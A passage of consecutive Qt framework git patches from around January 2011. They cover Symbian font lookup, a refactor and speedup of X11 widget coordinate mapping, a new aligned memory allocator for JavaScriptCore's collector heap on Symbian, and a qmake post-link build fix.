+            S60->screenDevice()->RemoveFile(fnt->screenDeviceFontFileId); // May still have the file open!
         QFile::remove(fnt->temporaryFileName);
         *fnt = QFontDatabasePrivate::ApplicationFont();
     }
@@ -669,7 +982,7 @@ QFontEngine *QFontDatabase::findFont(int script, const QFontPrivate *d, const QF
         QFontDatabasePrivate *db = privateDb();
         QtFontDesc desc;
         QList blacklistedFamilies;
-        match(script, req, req.family, QString(), -1, &desc, blacklistedFamilies);
+        match(script, key.def, key.def.family, QString(), -1, &desc, blacklistedFamilies);
         if (!desc.family) // falling back to application font
             desc.family = db->family(QApplication::font().defaultFamily());
         Q_ASSERT(desc.family);
diff --git a/src/gui/text/qfontengine_s60.cpp b/src/gui/text/qfontengine_s60.cpp
index b572cdd..f2b6f5c 100644
--- a/src/gui/text/qfontengine_s60.cpp
+++ b/src/gui/text/qfontengine_s60.cpp
@@ -243,10 +243,13 @@ static inline unsigned int getChar(const QChar *str, int &i, const int len)
     return uc;
 }
 
+extern QString qt_symbian_fontNameWithAppFontMarker(const QString &fontName); // qfontdatabase_s60.cpp
+
 CFont *QFontEngineS60::fontWithSize(qreal size) const
 {
     CFont *result = 0;
-    TFontSpec fontSpec(qt_QString2TPtrC(QFontEngine::fontDef.family), TInt(size));
+    const QString family = qt_symbian_fontNameWithAppFontMarker(QFontEngine::fontDef.family);
+    TFontSpec fontSpec(qt_QString2TPtrC(family), TInt(size));
     fontSpec.iFontStyle.SetBitmapType(EAntiAliasedGlyphBitmap);
     fontSpec.iFontStyle.SetPosture(QFontEngine::fontDef.style == QFont::StyleNormal?EPostureUpright:EPostureItalic);
     fontSpec.iFontStyle.SetStrokeWeight(QFontEngine::fontDef.weight > QFont::Normal?EStrokeWeightBold:EStrokeWeightNormal);
-- 
cgit v0.12


From 7332dd762a406bb94d37e53a0bdd16045760d956 Mon Sep 17 00:00:00 2001
From: Denis Dzyubenko 
Date: Tue, 25 Jan 2011 10:45:41 +0100
Subject: Moved the implementation of mapFromGlobal/mapToGlobal to
 QWidgetPrivate
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Reviewed-by: João Abecasis
---
 src/gui/kernel/qwidget_p.h     |  2 ++
 src/gui/kernel/qwidget_x11.cpp | 50 +++++++++++++++++++++++++-----------------
 2 files changed, 32 insertions(+), 20 deletions(-)

diff --git a/src/gui/kernel/qwidget_p.h b/src/gui/kernel/qwidget_p.h
index 693984a..3759dd1 100644
--- a/src/gui/kernel/qwidget_p.h
+++ b/src/gui/kernel/qwidget_p.h
@@ -767,6 +767,8 @@ public:
     void x11UpdateIsOpaque();
     bool isBackgroundInherited() const;
     void updateX11AcceptFocus();
+    QPoint mapToGlobal(const QPoint &pos) const;
+    QPoint mapFromGlobal(const QPoint &pos) const;
 #elif defined(Q_WS_WIN) // <--------------------------------------------------------- WIN
     uint noPaintOnScreen : 1; // see qwidget_win.cpp ::paintEngine()
 #ifndef QT_NO_GESTURES
diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp
index a93c545..4b59bfc 100644
--- a/src/gui/kernel/qwidget_x11.cpp
+++ b/src/gui/kernel/qwidget_x11.cpp
@@ -1280,39 +1280,49 @@ void QWidgetPrivate::setParent_sys(QWidget *parent, Qt::WindowFlags f)
 #endif
 }
 
-
-QPoint QWidget::mapToGlobal(const QPoint &pos) const
+QPoint QWidgetPrivate::mapToGlobal(const QPoint &pos) const
 {
-    Q_D(const QWidget);
-    if (!testAttribute(Qt::WA_WState_Created) || !internalWinId()) {
-        QPoint p = pos + data->crect.topLeft();
+    Q_Q(const QWidget);
+    if (!q->testAttribute(Qt::WA_WState_Created) || !q->internalWinId()) {
+        QPoint p = pos + q->data->crect.topLeft();
         //cannot trust that !isWindow() implies parentWidget() before create
-        return (isWindow() || !parentWidget()) ?  p : parentWidget()->mapToGlobal(p);
+        return (q->isWindow() || !q->parentWidget()) ?  p : q->parentWidget()->d_func()->mapToGlobal(p);
     }
-    int           x, y;
+    int x, y;
     Window child;
-    QPoint p = d->mapToWS(pos);
-    XTranslateCoordinates(X11->display, internalWinId(),
-                          QApplication::desktop()->screen(d->xinfo.screen())->internalWinId(),
+    QPoint p = mapToWS(pos);
+    XTranslateCoordinates(X11->display, q->internalWinId(),
+                          QApplication::desktop()->screen(xinfo.screen())->internalWinId(),
                           p.x(), p.y(), &x, &y, &child);
     return QPoint(x, y);
 }
 
-
-QPoint QWidget::mapFromGlobal(const QPoint &pos) const
+QPoint QWidgetPrivate::mapFromGlobal(const QPoint &pos) const
 {
-    Q_D(const QWidget);
-    if (!testAttribute(Qt::WA_WState_Created) || !internalWinId()) {
+    Q_Q(const QWidget);
+    if (!q->testAttribute(Qt::WA_WState_Created) || !q->internalWinId()) {
         //cannot trust that !isWindow() implies parentWidget() before create
-        QPoint p = (isWindow() || !parentWidget()) ?  pos : parentWidget()->mapFromGlobal(pos);
-        return p - data->crect.topLeft();
+        QPoint p = (q->isWindow() || !q->parentWidget()) ?  pos : q->parentWidget()->d_func()->mapFromGlobal(pos);
+        return p - q->data->crect.topLeft();
     }
-    int           x, y;
+    int x, y;
     Window child;
     XTranslateCoordinates(X11->display,
-                          QApplication::desktop()->screen(d->xinfo.screen())->internalWinId(),
-                          internalWinId(), pos.x(), pos.y(), &x, &y, &child);
-    return d->mapFromWS(QPoint(x, y));
+                          QApplication::desktop()->screen(xinfo.screen())->internalWinId(),
+                          q->internalWinId(), pos.x(), pos.y(), &x, &y, &child);
+    return mapFromWS(QPoint(x, y));
+}
+
+QPoint QWidget::mapToGlobal(const QPoint &pos) const
+{
+    Q_D(const QWidget);
+    return d->mapToGlobal(pos);
+}
+
+QPoint QWidget::mapFromGlobal(const QPoint &pos) const
+{
+    Q_D(const QWidget);
+    return d->mapFromGlobal(pos);
 }
 
 void QWidgetPrivate::updateSystemBackground()
-- 
cgit v0.12


From cdd776a91e65bf5c30cea1bab9823134a3f797d0 Mon Sep 17 00:00:00 2001
From: Denis Dzyubenko 
Date: Tue, 25 Jan 2011 10:01:56 +0100
Subject: Improved performance of mapFromGlobal/mapToGlobal on X11
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

We don't call XTranslateCoordinates anymore, but use the toplevel window
offset that we already store to convert between screen coordinates and
widget coordinates.

Reviewed-by: João Abecasis
---
 src/gui/kernel/qwidget_x11.cpp | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp
index 4b59bfc..9893478 100644
--- a/src/gui/kernel/qwidget_x11.cpp
+++ b/src/gui/kernel/qwidget_x11.cpp
@@ -1316,12 +1316,40 @@ QPoint QWidgetPrivate::mapFromGlobal(const QPoint &pos) const
 QPoint QWidget::mapToGlobal(const QPoint &pos) const
 {
     Q_D(const QWidget);
+    QPoint offset = data->crect.topLeft();
+    const QWidget *w = this;
+    const QWidget *p = w->parentWidget();
+    while (!w->isWindow() && p) {
+        w = p;
+        p = p->parentWidget();
+        offset += w->data->crect.topLeft();
+    }
+
+    const QWidgetPrivate *wd = w->d_func();
+    QTLWExtra *tlw = wd->topData();
+    if (!tlw->embedded)
+        return pos + offset;
+
     return d->mapToGlobal(pos);
 }
 
 QPoint QWidget::mapFromGlobal(const QPoint &pos) const
 {
     Q_D(const QWidget);
+    QPoint offset = data->crect.topLeft();
+    const QWidget *w = this;
+    const QWidget *p = w->parentWidget();
+    while (!w->isWindow() && p) {
+        w = p;
+        p = p->parentWidget();
+        offset += w->data->crect.topLeft();
+    }
+
+    const QWidgetPrivate *wd = w->d_func();
+    QTLWExtra *tlw = wd->topData();
+    if (!tlw->embedded)
+        return pos - offset;
+
     return d->mapFromGlobal(pos);
 }
 
-- 
cgit v0.12


From 7db489a0de073a2a56fe32d16f1cbe1bebdfd06d Mon Sep 17 00:00:00 2001
From: Kent Hansen 
Date: Tue, 25 Jan 2011 11:39:37 +0100
Subject: QtScript/JSC on Symbian: Enhanced memory allocator for Collector heap

Cherry-picked from http://trac.webkit.org/changeset/56370

The old allocator caused QML to crash in MCL (TB10.1, week 1).

Task-number: QTBUG-14293
Reviewed-by: Simon Hausmann
---
 .../javascriptcore/JavaScriptCore/ChangeLog        |  28 +++++
 .../JavaScriptCore/JavaScriptCore.pri              |   3 +
 .../JavaScriptCore/runtime/Collector.cpp           |  46 ++-----
 .../JavaScriptCore/runtime/Collector.h             |   9 ++
 .../JavaScriptCore/runtime/CollectorHeapIterator.h |  10 +-
 .../wtf/symbian/BlockAllocatorSymbian.cpp          | 132 +++++++++++++++++++++
 .../wtf/symbian/BlockAllocatorSymbian.h            | 120 +++++++++++++++++++
 src/3rdparty/javascriptcore/VERSION                |   4 +-
 src/script/script.pro                              |   1 -
 9 files changed, 309 insertions(+), 44 deletions(-)
 create mode 100644 src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp
 create mode 100644 src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h

diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog b/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
index fd6c3f7..c2b1155 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/ChangeLog
@@ -232,6 +232,34 @@
         without using doubles, but the code would be much more complicated, and there is no important
         reason to stick to integers here.
 
+2010-03-22  Siddharth Mathur  
+
+        Reviewed by Laszlo Gombos.
+
+        [Symbian] More efficient aligned memory allocation for JSC Collector
+        https://bugs.webkit.org/show_bug.cgi?id=34350
+
+        * JavaScriptCore.pri: Added 2 new Symbian source files and HAL linkage
+
+        * runtime/Collector.cpp: Reduced port-specific code and added private data member
+        (JSC::Heap::Heap):
+        (JSC::Heap::~Heap):
+        (JSC::Heap::destroy):
+        (JSC::Heap::allocateBlock):
+        (JSC::Heap::freeBlockPtr):
+
+        * runtime/Collector.h: Added private data member
+
+        * wtf/symbian: Added.
+        * wtf/symbian/BlockAllocatorSymbian.cpp: Added.
+        (WTF::AlignedBlockAllocator::AlignedBlockAllocator): Helper class to allocate 
+        aligned blocks more efficiently as required by Collector
+        (WTF::AlignedBlockAllocator::alloc):
+        (WTF::AlignedBlockAllocator::free):
+        (WTF::AlignedBlockAllocator::destroy):
+        (WTF::AlignedBlockAllocator::~AlignedBlockAllocator):
+        * wtf/symbian/BlockAllocatorSymbian.h: Added.
+
 2010-03-22  Geoffrey Garen  
 
         Reviewed by Sam Weinig.
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri b/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri
index d75bd31..b061321 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/JavaScriptCore.pri
@@ -16,6 +16,7 @@ CONFIG(debug, debug|release) {
 symbian: {
     # Need to guarantee this comes before system includes of /epoc32/include
     MMP_RULES += "USERINCLUDE ../JavaScriptCore/profiler"
+    LIBS += -lhal
 }
 
 INCLUDEPATH = \
@@ -33,6 +34,7 @@ INCLUDEPATH = \
     $$PWD/runtime \
     $$PWD/wrec \
     $$PWD/wtf \
+    $$PWD/wtf/symbian \
     $$PWD/wtf/unicode \
     $$PWD/yarr \
     $$PWD/API \
@@ -211,6 +213,7 @@ SOURCES += \
     wtf/qt/ThreadingQt.cpp \
     wtf/RandomNumber.cpp \
     wtf/RefCountedLeakCounter.cpp \
+    wtf/symbian/BlockAllocatorSymbian.cpp \
     wtf/symbian/RegisterFileAllocatorSymbian.cpp \
     wtf/ThreadingNone.cpp \
     wtf/Threading.cpp \
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp
index 24873c8..42e2a35 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.cpp
@@ -53,11 +53,6 @@
 #include 
 #include 
 
-#elif OS(SYMBIAN)
-#include 
-#include 
-#include 
-
 #elif OS(WINDOWS)
 
 #include 
@@ -109,11 +104,6 @@ const size_t ALLOCATIONS_PER_COLLECTION = 3600;
 // a PIC branch in Mach-O binaries, see .
 #define MIN_ARRAY_SIZE (static_cast(14))
 
-#if OS(SYMBIAN)
-const size_t MAX_NUM_BLOCKS = 256; // Max size of collector heap set to 16 MB
-static RHeap* userChunk = 0;
-#endif
-
 #if ENABLE(JSC_MULTIPLE_THREADS)
 
 #if OS(DARWIN)
@@ -146,29 +136,11 @@ Heap::Heap(JSGlobalData* globalData)
     , m_currentThreadRegistrar(0)
 #endif
     , m_globalData(globalData)
+#if OS(SYMBIAN)
+    , m_blockallocator(JSCCOLLECTOR_VIRTUALMEM_RESERVATION, BLOCK_SIZE)
+#endif
 {
     ASSERT(globalData);
-    
-#if OS(SYMBIAN)
-    // Symbian OpenC supports mmap but currently not the MAP_ANON flag.
-    // Using fastMalloc() does not properly align blocks on 64k boundaries
-    // and previous implementation was flawed/incomplete.
-    // UserHeap::ChunkHeap allows allocation of continuous memory and specification
-    // of alignment value for (symbian) cells within that heap.
-    //
-    // Clarification and mapping of terminology:
-    // RHeap (created by UserHeap::ChunkHeap below) is continuos memory chunk,
-    // which can dynamically grow up to 8 MB,
-    // that holds all CollectorBlocks of this session (static).
-    // Each symbian cell within RHeap maps to a 64kb aligned CollectorBlock.
-    // JSCell objects are maintained as usual within CollectorBlocks.
-    if (!userChunk) {
-        userChunk = UserHeap::ChunkHeap(0, 0, MAX_NUM_BLOCKS * BLOCK_SIZE, BLOCK_SIZE, BLOCK_SIZE);
-        if (!userChunk)
-            CRASH();
-    }
-#endif // OS(SYMBIAN)
-    
     memset(&m_heap, 0, sizeof(CollectorHeap));
     allocateBlock();
 }
@@ -211,7 +183,9 @@ void Heap::destroy()
         t = next;
     }
 #endif
-
+#if OS(SYMBIAN)
+    m_blockallocator.destroy();
+#endif
     m_globalData = 0;
 }
 
@@ -221,11 +195,9 @@ NEVER_INLINE CollectorBlock* Heap::allocateBlock()
     vm_address_t address = 0;
     vm_map(current_task(), &address, BLOCK_SIZE, BLOCK_OFFSET_MASK, VM_FLAGS_ANYWHERE | VM_TAG_FOR_COLLECTOR_MEMORY, MEMORY_OBJECT_NULL, 0, FALSE, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_DEFAULT);
 #elif OS(SYMBIAN)
-    // Allocate a 64 kb aligned CollectorBlock
-    unsigned char* mask = reinterpret_cast(userChunk->Alloc(BLOCK_SIZE));
-    if (!mask)
+    void* address = m_blockallocator.alloc();  
+    if (!address)
         CRASH();
-    uintptr_t address = reinterpret_cast(mask);
 #elif OS(WINCE)
     void* address = VirtualAlloc(NULL, BLOCK_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 #elif OS(WINDOWS)
@@ -316,7 +288,7 @@ NEVER_INLINE void Heap::freeBlockPtr(CollectorBlock* block)
 #if OS(DARWIN)    
     vm_deallocate(current_task(), reinterpret_cast(block), BLOCK_SIZE);
 #elif OS(SYMBIAN)
-    userChunk->Free(reinterpret_cast(block));
+    m_blockallocator.free(reinterpret_cast(block));
 #elif OS(WINCE)
     VirtualFree(block, 0, MEM_RELEASE);
 #elif OS(WINDOWS)
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h
index 7f7a679..d3616dc 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/Collector.h
@@ -35,6 +35,10 @@
 #include 
 #endif
 
+#if OS(SYMBIAN)
+#include 
+#endif
+
 #define ASSERT_CLASS_FITS_IN_CELL(class) COMPILE_ASSERT(sizeof(class) <= CELL_SIZE, class_fits_in_cell)
 
 namespace JSC {
@@ -167,6 +171,11 @@ namespace JSC {
         pthread_key_t m_currentThreadRegistrar;
 #endif
 
+#if OS(SYMBIAN)
+        // Allocates collector blocks with correct alignment
+        WTF::AlignedBlockAllocator m_blockallocator; 
+#endif
+        
         JSGlobalData* m_globalData;
     };
 
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/CollectorHeapIterator.h b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/CollectorHeapIterator.h
index 4a38df9..e4f2f91 100644
--- a/src/3rdparty/javascriptcore/JavaScriptCore/runtime/CollectorHeapIterator.h
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/runtime/CollectorHeapIterator.h
@@ -97,12 +97,14 @@ namespace JSC {
 
     inline LiveObjectIterator& LiveObjectIterator::operator++()
     {
-        advance(HeapConstants::cellsPerBlock - 1);
-        if (m_block < m_heap.nextBlock || (m_block == m_heap.nextBlock && m_cell < m_heap.nextCell))
+        if (m_block < m_heap.nextBlock || m_cell < m_heap.nextCell) {
+            advance(HeapConstants::cellsPerBlock);
             return *this;
+        }
 
-        while (m_block < m_heap.usedBlocks && !m_heap.blocks[m_block]->marked.get(m_cell))
-            advance(HeapConstants::cellsPerBlock - 1);
+        do {
+            advance(HeapConstants::cellsPerBlock);
+        } while (m_block < m_heap.usedBlocks && !m_heap.blocks[m_block]->marked.get(m_cell));
         return *this;
     }
 
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp
new file mode 100644
index 0000000..6a28e9e
--- /dev/null
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.cpp
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1.  Redistributions of source code must retain the above copyright
+ *     notice, this list of conditions and the following disclaimer. 
+ * 2.  Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in the
+ *     documentation and/or other materials provided with the distribution. 
+ * 3.  Neither the name of Apple Computer, Inc. ("Apple") nor the names of
+ *     its contributors may be used to endorse or promote products derived
+ *     from this software without specific prior written permission. 
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+
+#if OS(SYMBIAN)
+
+#include "BlockAllocatorSymbian.h"
+
+
+namespace WTF {
+
+/** Efficiently allocates blocks of size blockSize with blockSize alignment. 
+ * Primarly designed for JSC Collector's needs. 
+ * Not thread-safe.    
+ */
+AlignedBlockAllocator::AlignedBlockAllocator(TUint32 reservationSize, TUint32 blockSize )
+    : m_reservation(reservationSize), 
+      m_blockSize(blockSize)
+{
+
+     // Get system's page size value.
+     SYMBIAN_PAGESIZE(m_pageSize); 
+     
+     // We only accept multiples of system page size for both initial reservation and the alignment/block size
+     m_reservation = SYMBIAN_ROUNDUPTOMULTIPLE(m_reservation, m_pageSize);
+     __ASSERT_ALWAYS(SYMBIAN_ROUNDUPTOMULTIPLE(m_blockSize, m_pageSize), User::Panic(_L("AlignedBlockAllocator1"), KErrArgument));
+     
+     // Calculate max. bit flags we need to carve a reservationSize range into blockSize-sized blocks
+     m_map.numBits = m_reservation / m_blockSize;   
+     const TUint32 bitsPerWord = 8*sizeof(TUint32); 
+     const TUint32 numWords = (m_map.numBits + bitsPerWord -1) / bitsPerWord; 
+   
+     m_map.bits = new TUint32[numWords];
+     __ASSERT_ALWAYS(m_map.bits, User::Panic(_L("AlignedBlockAllocator2"), KErrNoMemory));
+     m_map.clearAll();
+     
+     // Open a Symbian RChunk, and reserve requested virtual address range   
+     // Any thread in this process can operate this rchunk due to EOwnerProcess access rights. 
+     TInt ret = m_chunk.CreateDisconnectedLocal(0 , 0, (TInt)m_reservation , EOwnerProcess);  
+     if (ret != KErrNone) 
+         User::Panic(_L("AlignedBlockAllocator3"), ret);
+       
+     // This is the offset to m_chunk.Base() required to make it m_blockSize-aligned
+     m_offset = SYMBIAN_ROUNDUPTOMULTIPLE(TUint32(m_chunk.Base()), m_blockSize) - TUint(m_chunk.Base()); 
+
+}
+
+void* AlignedBlockAllocator::alloc()
+{
+
+    TInt  freeRam = 0; 
+    void* address = 0;
+    
+    // Look up first free slot in bit map
+    const TInt freeIdx = m_map.findFree();
+        
+    // Pseudo OOM: We ate up the address space we reserved..
+    // ..even though the device may have free RAM left
+    if (freeIdx < 0)
+        return 0;
+        
+    TInt ret = m_chunk.Commit(m_offset + (m_blockSize * freeIdx), m_blockSize);
+    if (ret != KErrNone)  
+        return 0; // True OOM: Device didn't have physical RAM to spare
+        
+    // Updated bit to mark region as in use. 
+    m_map.set(freeIdx); 
+    
+    // Calculate address of committed region (block)
+    address = (void*)( (m_chunk.Base() + m_offset) + (TUint)(m_blockSize * freeIdx) );
+    
+    return address;
+}
+
+void AlignedBlockAllocator::free(void* block)
+{
+    // Calculate index of block to be freed
+    TInt idx = TUint(static_cast(block) - m_chunk.Base() - m_offset) / m_blockSize;
+    
+    __ASSERT_DEBUG(idx >= 0 && idx < m_map.numBits, User::Panic(_L("AlignedBlockAllocator4"), KErrCorrupt)); // valid index check
+    __ASSERT_DEBUG(m_map.get(idx), User::Panic(_L("AlignedBlockAllocator5"), KErrCorrupt)); // in-use flag check    
+    
+    // Return committed region to system RAM pool (the physical RAM becomes usable by others)
+    TInt ret = m_chunk.Decommit(m_offset + m_blockSize * idx, m_blockSize);
+            
+    // mark this available again
+    m_map.clear(idx); 
+}
+
+void AlignedBlockAllocator::destroy() 
+{
+    // release everything!
+    m_chunk.Decommit(0, m_chunk.MaxSize());
+    m_map.clearAll();
+}
+
+AlignedBlockAllocator::~AlignedBlockAllocator()
+{
+    destroy();
+    m_chunk.Close();
+    delete [] m_map.bits;
+}
+
+} // end of namespace
+
+#endif // SYMBIAN
diff --git a/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h
new file mode 100644
index 0000000..21422f6
--- /dev/null
+++ b/src/3rdparty/javascriptcore/JavaScriptCore/wtf/symbian/BlockAllocatorSymbian.h
@@ -0,0 +1,120 @@
+/*
+ * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1.  Redistributions of source code must retain the above copyright
+ *     notice, this list of conditions and the following disclaimer. 
+ * 2.  Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in the
+ *     documentation and/or other materials provided with the distribution. 
+ * 3.  Neither the name of Apple Computer, Inc. ("Apple") nor the names of
+ *     its contributors may be used to endorse or promote products derived
+ *     from this software without specific prior written permission. 
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef BlockAllocatorSymbian_h
+#define BlockAllocatorSymbian_h
+
+#include 
+#include 
+#include 
+
+
+#define SYMBIAN_PAGESIZE(x) (HAL::Get(HALData::EMemoryPageSize, x));
+#define SYMBIAN_FREERAM(x)  (HAL::Get(HALData::EMemoryRAMFree, x));
+#define SYMBIAN_ROUNDUPTOMULTIPLE(x, multipleof)    ( (x + multipleof - 1) & ~(multipleof - 1) )
+
+// Set sane defaults if -D wasn't provided via compiler args
+#ifndef JSCCOLLECTOR_VIRTUALMEM_RESERVATION
+#if defined(__WINS__) 
+    // Emulator has limited virtual address space
+    #define JSCCOLLECTOR_VIRTUALMEM_RESERVATION (4*1024*1024)
+#else
+    // HW has plenty of virtual addresses
+    #define JSCCOLLECTOR_VIRTUALMEM_RESERVATION (128*1024*1024)
+#endif
+#endif
+
+namespace WTF {
+
+/** 
+ *  Allocates contiguous region of size blockSize with blockSize-aligned address. 
+ *  blockSize must be a multiple of system page size (typically 4K on Symbian/ARM)
+ *
+ *  @param reservationSize Virtual address range to be reserved upon creation of chunk (bytes).
+ *  @param blockSize Size of a single allocation. Returned address will also be blockSize-aligned.
+ */
+class AlignedBlockAllocator {
+    public:
+        AlignedBlockAllocator(TUint32 reservationSize, TUint32 blockSize);
+        ~AlignedBlockAllocator();
+        void destroy();
+        void* alloc();
+        void free(void* data);
+    
+    private: 
+        RChunk   m_chunk; // Symbian chunk that lets us reserve/commit/decommit
+        TUint    m_offset; // offset of first committed region from base 
+        TInt     m_pageSize; // cached value of system page size, typically 4K on Symbian
+        TUint32  m_reservation;
+        TUint32  m_blockSize;  
+
+        // Tracks comitted/decommitted state of a blockSize region
+        struct {
+            
+            TUint32 *bits; // array of bit flags 
+            TUint32  numBits; // number of regions to keep track of
+            
+            bool get(TUint32 n) const
+            {
+                return !!(bits[n >> 5] & (1 << (n & 0x1F)));
+            }
+            
+            void set(TUint32 n)
+            {
+                bits[n >> 5] |= (1 << (n & 0x1F));
+            }
+            
+            void clear(TUint32 n)
+            {
+                bits[n >> 5] &= ~(1 << (n & 0x1F));
+            }
+            
+            void clearAll()
+            {
+               for (TUint32 i = 0; i < numBits; i++)
+                    clear(i);
+            }
+            
+            TInt findFree() const
+            {
+                for (TUint32 i = 0; i < numBits; i++) {
+                    if (!get(i)) 
+                        return i;
+                }
+                return -1;
+            }
+            
+        } m_map;  
+
+};
+ 
+}
+
+#endif // end of BlockAllocatorSymbian_h
+
+
diff --git a/src/3rdparty/javascriptcore/VERSION b/src/3rdparty/javascriptcore/VERSION
index 9991ac0..b4744b7 100644
--- a/src/3rdparty/javascriptcore/VERSION
+++ b/src/3rdparty/javascriptcore/VERSION
@@ -4,8 +4,8 @@ This is a snapshot of JavaScriptCore from
 
 The commit imported was from the
 
-        javascriptcore-snapshot-05102010 branch/tag
+        javascriptcore-snapshot-24012011 branch/tag
 
 and has the sha1 checksum
 
-        82ead85cfea5859044eeb25b33314dcc0fa5eea1
+        d143bde5ae8cff229aebd43487a2fce5e713e990
diff --git a/src/script/script.pro b/src/script/script.pro
index d1633d8..63917b1 100644
--- a/src/script/script.pro
+++ b/src/script/script.pro
@@ -81,7 +81,6 @@ include(script.pri)
 
 symbian {
     TARGET.UID3=0x2001B2E1
-    LIBS += -lhal
 }
 
 symbian {
-- 
cgit v0.12


From 41297f2d592ef21327b5c7523c52c1ecd3c727f4 Mon Sep 17 00:00:00 2001
From: Miikka Heikkinen 
Date: Tue, 25 Jan 2011 13:49:46 +0200
Subject: Fix QMAKE_POST_LINK in Symbian for targets with special characters.

Proper fixed targets was not used to generate the dependency for
QMAKE_POST_LINK in symbian-sbsv2, causing post linking to happen
before actual linking.

Task-number: QTBUG-16881
Reviewed-by: axis
---
 qmake/generators/symbian/symmake_sbsv2.cpp | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/qmake/generators/symbian/symmake_sbsv2.cpp b/qmake/generators/symbian/symmake_sbsv2.cpp
index 6d01523..9eccd46 100644
--- a/qmake/generators/symbian/symmake_sbsv2.cpp
+++ b/qmake/generators/symbian/symmake_sbsv2.cpp
@@ -686,7 +686,7 @@ void SymbianSbsv2MakefileGenerator::writeBldInfExtensionRulesPart(QTextStream& t
         fixFlmCmd(&postLinkCmd, commandsToReplace);
         t << "START EXTENSION qt/qmake_post_link" << endl;
         t << "OPTION POST_LINK_CMD " << postLinkCmd << endl;
